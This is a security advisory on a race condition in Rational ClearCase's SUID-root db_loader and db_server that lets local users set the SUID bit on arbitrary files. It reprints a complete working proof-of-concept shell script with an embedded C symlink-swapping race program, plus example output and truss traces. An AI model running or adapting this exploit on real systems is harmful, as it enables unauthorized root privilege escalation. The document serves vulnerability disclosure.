COMMAND

    ClearCase

SYSTEMS AFFECTED

    Systems running Rational's ClearCase

PROBLEM

    Following is based on  L0pht Security Advisory and  Oezguer Kesim.
    ClearCase  is  a  configuration  management  program from Rational
    Software.    Similar in some  ways to CVS  or Visual Source  Safe.
    The  default  installation  of  ClearCase  installs  the   program
    db_loader SUID root.   One of the  many security problems  in this
    program is a race condition which enables any user to add the SUID
    bit to any file on the system.  Example:

        > ls -l /bin/ksh
        -r-xr-xr-x   2 bin      bin       186356 Jan 21  1998 /bin/ksh

        > ./clear_waste.sh /bin/ksh

        Clear Case proof of concept exploit code - mudge@l0pht.com 2.5.1999
        one beer please!

        creating race grinder....
        created!

        compiling race grinder...
        compiled! Launching attack.... be patient

        Looks succesfull!
        -r-sr-xr-x   2 bin      bin       186356 Jan 21  1998 /bin/ksh

        don't forget to get rid of /var/tmp/cleartest

    The  database  loader  for  pure  atria  is  SUID  root.  A likely
    candidate for mayhem and deliciousness.  In addition it is  around
    1.5 megs  in size  - way  beyond the  size of  manageability for a
    program with  elevated priveleges.   Taking a  quick look  at  the
    binary shows plenty  of places to  exploit the default  behaviour.
    [output from  a truss  -f -a  -e -o  /usr/atria/sun5/etc/db_loader
    /tmp]

        1372:   stat("/usr/atria/etc/db_dumper", 0xEFFFE400)    = 0
        1372:   access("/tmp/db_dumper", 0)                     Err#2 ENOENT
        1372:   open("/usr/atria/etc/db_dumper", O_RDONLY)      = 3
        1372:   open("/tmp/db_dumper", O_WRONLY|O_CREAT|O_TRUNC, 0100555) = 4
        1372:   read(3, "7F E L F010201\0\0\0\0\0".., 65536)    = 65536
        1372:   write(4, "7F E L F010201\0\0\0\0\0".., 65536)   = 65536
        1372:   read(3, " _ d e f a u l t\0 r _ t".., 65536)    = 65536

    .....  you  got  it  -  they  are  copying  db_dumper  file to the
    directory you specified.

        1372:   read(3, 0xEFFED690, 65536)                      = 0
        1372:   close(3)                                        = 0
        1372:   fdsync(4, O_RDONLY|O_SYNC)                      = 0
        1372:   close(4)                                        = 0
        1372:   utime("/tmp/db_dumper", 0xEFFFD6F0)             = 0
        1372:   stat("/tmp/db_dumper", 0xEFFFE728)              = 0
        1372:   chmod("/tmp/db_dumper", 0104555)                = 0

    And low and behold the ever popular chmod(2) call.  So - we should
    have plenty of  time for the  race condition since  they are using
    calls which  only return  the information  that was  true at  that
    explicit moment  in time.   This type  of coding  assumes that the
    piece    of    information    being    checked    is    invariant.
    /usr/atria/etc/db_dumper is also a ~1.5 meg file so we have plenty
    of time to unlink and replace  it while the copy is taking  place.
    Most likely it would be even  eaiser as we imagine that they  will
    execute the program later on... as it is this machine did not have
    a license server it was  permited to communicate with so  it bombs
    out before any such what-not can happen.  Exploit code

    #!/bin/sh
    #
    # This is sample code that takes advantage of a race condition in
    # Pure Atria's Clear Case db_loader program. The program will retain
    # ownership of the file pointed to on the command line and have
    # the clear case db_loader change the permissions to SUID
    #  .mudge@l0pht.com  2.5.1999
    #
    RACE_PROG=./clear_race
    RACE_CODE=./clear_race.c
    # you probabaly need to change the following to reflect your
    # system and setup
    #NICE=/usr/bin/nice
    CC=/usr/local/bin/gcc
    DB_LOADER=/usr/atria/sun5/etc/db_loader
    RM=/bin/rm
    LS=/bin/ls
    MKDIR=/bin/mkdir
    # you need to own the DEST DIR so you can delete files that you don't
    # directly own
    DEST_DIR=/var/tmp/cleartest.$$

    if [ "$#" -ne "1" ] ; then
      echo "usage: `basename $0` file_to_make_suid"
      exit
    fi

    TARGET=$1

    if [ ! -f ${TARGET} ] ; then
      echo "target file must exist"
      exit
    fi

    echo
    echo "Clear Case proof of concept exploit code - mudge@l0pht.com 2.5.1999"
    echo " one beer please!"
    echo

    ${MKDIR} ${DEST_DIR}
    if [ $? -gt 0 ] ; then
      echo "go get rid of ${DEST_DIR} and try again..."
      exit
    fi

    cd ${DEST_DIR}

    # create the race runner
    echo "creating race grinder...."
    cat > ${RACE_CODE} << FOEFOE
    #include <unistd.h>
    #include <sys/types.h>
    #include <sys/stat.h>
    #include <stdio.h>

    main(int argc, char *argv[])
    {
      struct stat statbuf;

      printf("%d\n", argc);

      if (argc != 2){
        printf("bzzzzt! - wrong usage\n");
        exit(0);
      }

      while (1){
        if (stat("./db_dumper", &statbuf) == 0){
          unlink("./db_dumper");
          symlink(argv[1], "./db_dumper");
          exit(0);
        }
      }
    }
    FOEFOE
    echo "created!"
    echo

    # compile it
    echo "compiling race grinder..."
    ${CC} -O2 -o ${RACE_PROG} ${RACE_CODE}

    if [ ! -f ${RACE_PROG} ] ; then
      echo "compile failed?"
      ${RM} -f ${RACE_CODE}
      exit
    fi

    echo "compiled! Launching attack.... be patient"
    echo


    ${RACE_PROG} ${TARGET} &
    # let us give the progie a second or two to load up and get the runtime
    # crap set
    sleep 2

    #${NICE} -n 2 ${DB_LOADER} ${DEST_DIR} > /dev/null 2>&1
    # if you keep failing try the above and potentially increase the nice
    value
    ${DB_LOADER} ${DEST_DIR} > /dev/null 2>&1

    if [ -u ${TARGET} ] ; then
      echo "Looks succesfull!"
      ${LS} -l ${TARGET}
      echo
      echo  "don't forget to get rid of ${DEST_DIR}"
      echo
      exit
    fi

    echo "doesn't look like it worked... "
    echo "try again - after all it's a race condition!"
    echo "don't forget to get rid of ${DEST_DIR}
    echo

    Now, things are  even worse!   You may want  to remove the  setuid
    flag  from  /usr/atria/etc/db_loader,  _but_  this  won't  fix the
    problem -- just the exploit given by Dr. Mudge.  Let's elaborate.
    If we make a

        # /usr/atria/bin/cleartool mkvob -tag /tmp/foo /tmp/foo.vbs

    you'll notice that

        # ls -l /tmp/foo.vbs/db/db_dumper

    results

        -r-sr-xr-x   1 root     root      1526912 Jan 21  1998 db_dumper

    While  using  the  above  command  (cleartool  mkvob ...) see what
    albd_server actually makes:

        # ps -A | grep albd
        188 ?   0:08 albd_ser

    Now, if you read the output of

        truss -f -p 188

    when the above command is used, you'll notice the following:

        ...

        188:    fork()                                          = 14311
        14311:  fork()          (returning as child ...)        = 188
        ...

        14311:  execve("/usr/atria/etc/db_server", 0xEFFFED9C, 0xEFFFFF24)  argc = 3
        ...

        14311:  stat("/usr/atria/etc/db_dumper", 0xEFFFE110)    = 0
        14311:  access("/tmp/foo.vbs/db/db_dumper", 0)        Err#2 ENOENT
        14311:  open("/usr/atria/etc/db_dumper", O_RDONLY)      = 14
        14311:  open("/tmp/foo.vbs/db/db_dumper", O_WRONLY|O_CREAT|O_TRUNC, 0100555) = 15
        14311:  read(14, "7F E L F010201\0\0\0\0\0".., 65536)   = 65536
        14311:  write(15, "7F E L F010201\0\0\0\0\0".., 65536)  = 65536
        ...

        14311:  utime("/tmp/foo.vbs/db/db_dumper", 0xEFFFD400) = 0
        14311:  stat("/tmp/foo.vbs/db/db_dumper", 0xEFFFE438) = 0
        14311:  chmod("/tmp/foo.vbs/db/db_dumper", 0104555)   = 0

    In other  words _exactly  the same  code as  before_ !!   But this
    time  in  /usr/atria/etc/db_server  and   called  by  the   daemon
    albd_server running under  uid root.   Therefore, you can  use the
    exploit by l0pht after  small modifiactions, _even_ if  you remove
    the setuid flag of /usr/atria/etc/db_loader.

        # ldd /usr/atria/etc/db_server
        libatriadb.so =>         /usr/atria/shlib/libatriadb.so

        # strings /usr/atria/shlib/libatriadb.so | grep db_dumper
        db_dumper

    Most probably the whole code is written in here...

SOLUTION

    Nothing yet.